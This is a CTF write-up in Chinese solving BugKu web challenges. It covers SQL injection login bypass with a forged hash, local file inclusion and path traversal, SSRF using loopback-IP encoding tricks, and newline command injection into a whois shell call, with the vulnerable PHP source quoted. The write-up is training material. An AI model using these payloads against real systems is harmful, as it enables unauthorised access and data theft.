BugKu-web-免费真题

BugKu-web-免费真题

题目地址

https://ctf.bugku.com/challenges/index/gid/2/tid/1.html

1.inspect-me

image

查看网页源代码发现flag

image

2.my-first-sqli

描  述: My First SQL injection!!

image

SQL注入题:输入框输入单引号会报错

SQLite3::SQLException: near “123”: syntax error

用户名或密码区输入:-123' union select 1,1--+点击登录直接跳转出现flag

1
shellmates{SQLi_goeS_BrrRrRR}

image

3.post-the-get

描  述: A simple form to fill, nothing special right?

image

输入任意用户名和密码,发现无法点击提交发送按钮。

image

form表单改一下,把请求方式GET改成POST,把disable改成enable,再点击发送按钮即可获得flag

image

image

4.sqli-0x1

描  述: SQL injections are still a problem yes, even in 2021. Bypass the login mechanism and get access to the admin area.

image

是个类似登录的页面。

1.输入任意值,提示No such user

2.输入用户名admin,密码任意会提示Wrong password

3.用户名输入admin' and 1=1#,密码任意,提示why u bully me

4.使用BP把用户名爆破一下

image

找到了个提示:

访问找到源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
error_reporting(0);
error_log(0);

require_once("flag.php");

function is_trying_to_hak_me($str)
{
$blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"];
if (strpos($str, "'") !== false) {
if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) {
return true;
}
}
foreach ($blacklist as $token) {
if (strpos($str, $token) !== false) return true;
}
return false;
}

if (isset($_GET["pls_help"])) {
highlight_file(__FILE__);
exit;
}

if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) {
$user = $_POST["user"];
$pass = $_POST["pass"];
if (is_trying_to_hak_me($user)) {
die("why u bully me");
}

$db = new SQLite3("/var/db.sqlite");
$result = $db->query("SELECT * FROM users WHERE username='$user'");
if ($result === false) die("pls dont break me");
else $result = $result->fetchArray();

if ($result) {
$split = explode('$', $result["password"]);
$password_hash = $split[0];
$salt = $split[1];
if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
else $err = "Wrong password";
}
else $err = "No such user";
}
?>

<!DOCTYPE html>
<html>
<head>
<title>Hack.INI 9th - SQLi</title>
</head>
<body>
<?php if (isset($logged_in) && $logged_in): ?>
<p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?><p>
<?php else: ?>
<form method="post">
<input type="text" placeholder="Username" name="user" required>
<input type="password" placeholder="Password" name="pass" required>
<button type="submit">Login</button>
<br><br>
<?php if (isset($err)) echo $err; ?>
</form>
<?php endif; ?>
<!-- <a href="/?pls_help">get some help</a> -->
</body>
</html>

' 单引号加空格被过滤了,但是没有过滤单独的空格。使用/**/绕过

分析这段代码:

1
2
3
4
5
6
7
if ($result) {
$split = explode('$', $result["password"]);
$password_hash = $split[0];
$salt = $split[1];
if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
else $err = "Wrong password";
}

可以发现传入的密码被分割成两部分,第一部分是传入的密码字符串,第二部分是盐,if 条件要求密码hash=传入的密码字符串拼接盐

这里构造一个密码的hash,密码和盐随便设置。这里分别为:123456

1
<?php echo hash("sha256", "123"."456");?>

得到了hash为:8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92

1
2
3
4
5
6
7
8
9
10
11
12
function is_trying_to_hak_me($str){   
$blacklist = ["' ", " '", '"', "", " ", " ", ">", "<"];
if (strpos($str, "'") !== false) {
if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) {
return true;
}
}
foreach ($blacklist as $token) {
if (strpos($str, $token) !== false) return true;
}
return false;
}

黑名单检查 :定义了一个包含特定字符组合的黑名单,"'"'"''>''<' 等。如果输入字符串中包含这些组合,函数将返回 true,表示检测到潜在攻击。

单引号位置检查 :如果输入字符串中包含单引号 ',且该单引号不被字母或数字字符包围(即不匹配正则表达式 /[0-9a-zA-Z]'[0-9a-zA-Z]/),函数也会返回 true

构造合法的单引号使用 :确保单引号 ' 被字母或数字字符包围,以通过正则表达式的检查。例如,使用 a'b 这样的模式。

然后构造payload:

查询一个不存在的账号,拼接union select,将自定义的密码和盐生成的加密字符串注入,覆盖掉密码查询结果,使用自定义的密码即可通过密码校验,post发送:

1
user=-admin'union/**/select/**/1,'8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456'--+&pass=123

image

5.baby lfi

描  述: What about making things a bit harder ?

image

文件包含题

由于不知道使用哪个参数进行包含,这里使用工具扫描一下:

image

找到参数是language,payload如下:

1
?language=../../../etc/passwd

直接包含 /etc/passwd 就出现flag了

image

6.baby lfi 2

描  述: What about making things a bit harder ?

image

经过扫描确定了参数还是 language,接着使用这个参数包含/etc/passwd,发现不能

观察提示有个 languages是个目录,那么尝试如下payload:

1
2
3
?language=/languages/etc/passwd    //没有结果
?language=../languages/etc/passwd //没有结果
?language=./languages/etc/passwd //有结果

最后使用?language=./languages/../../../../../../../../../../etc/passwd,包含成功

image

7.HEADache

image

描  述: > Wanna learn about some types of headache? > Let’s dig right into it!

此题很无语,没有任何价值,不是人能想出来的

要在请求头中加入字符串Wanna-Something:can-i-have-a-flag-please才能返回flag

image

8.lfi

image

描  述: We made some serious checks now, would you test it ?

直接使用提示的参数即可

image

9.nextGen 1

提  示: Flag is in the /flag.txt file of the web server

描  述: > Simple monitoring app.

image

页面没有什么有用的东西,查看网页源代码,找到最后有个 js 文件很可疑

image

打开看一下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function myFunc(eventObj) {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("content").innerHTML = xhttp.responseText;
}
};
xhttp.open("POST", '/request');
xhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhttp.send("service=" + this.attributes.link.value);

}

var dep = document.getElementsByClassName('department');
for (var i = 0; i < dep.length; i++) {
dep[i].addEventListener('click', myFunc);
}

要使用POST传参,访问/request, 并且参数告诉是service

构造payload为:

1
2
POST /request
service=file:////flag.txt

image

10.nextGen 2

提  示: Flag is in the /flag.txt file of the web server

描  述: We added some filters now.

image

这次payload:

1
2
3
4
5
6
7
8
POST /request
service=file:////flag.txt
service=file://127.0.0.1/flag.txt //没响应
service=file://127.0.1/flag.txt
service=file://127.1/flag.txt
service=file://localtest.me/flag.txt
service=file://2130706433/flag.txt
service=file://0177.0.0.1/flag.txt

黑名单过滤的ip地址绕过: 十进制整数表示:2130706433 八进制表示:0177.0.0.1 十六进制表示:0x7f.0x0.0x0.0x1 省略IP的某些部分:127.1

image

11.Whois

提  示: There was a problem with the first version, this is the fixed version.

描  述: A web-based Whois service

image

任意选一个发送抓个包,发现通过query.php文件传参。

访问query.php文件得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
$output = null;
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
$query_regex = "/^[0-9a-zA-Z\. ]+$/";
if (isset($_GET['query']) && isset($_GET['host']) &&
is_string($_GET['query']) && is_string($_GET['host'])) {

$query = $_GET['query'];
$host = $_GET['host'];

if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) {
$output = "Invalid query or whois host";
} else {
$output = shell_exec("/usr/bin/whois -h ${host} ${query}");
}

}
else {
highlight_file(__FILE__);
exit;
}
?>

<!DOCTYPE html>
<html>
<head>
<title>Whois</title>
</head>
<body>
<pre><?= htmlspecialchars($output) ?></pre>
</body>
</html>

脚本的核心逻辑如下:

1
2
3
4
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
$query_regex = "/^[0-9a-zA-Z\. ]+$/";
...
$output = shell_exec("/usr/bin/whois -h ${host} ${query}");

$host 参数:必须以字母或数字开头,后续字符可以是字母、数字、点号(.)或连字符(-)。

$query 参数:只能包含字母、数字、点号和空格。

命令执行:通过 shell_exec 执行 whois 命令,使用 -h 指定主机,查询指定的域名或 IP。输入参数 hostquery 通过正则表达式进行了限制。

存在危险函数:shell_exec,可通过url编码换行绕过第一个参数host ,第二个参数query可以输入rce。空格用url编码绕过。%0a 是换行符的 URL 编码,会导致 whois 命令的参数host被截断,从而执行后面参数query的命令。然而,这种方法的成功与否取决于服务器的具体实现和配置。

payload如下:

1
2
3
?host=whois.ripe.net%0A&query=whoami
?host=whois.ripe.net%0A&query=ls
?host=whois.ripe.net%0A&query=cat thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

image

image

12.

13.

14.

15.

16.

17.

18.

19.

20.

21.

22.

23.

24.

25.

26.

27.

28.

29.

30.

31.

32.

33.

34.

35.

36.

37.

38.

39.

40.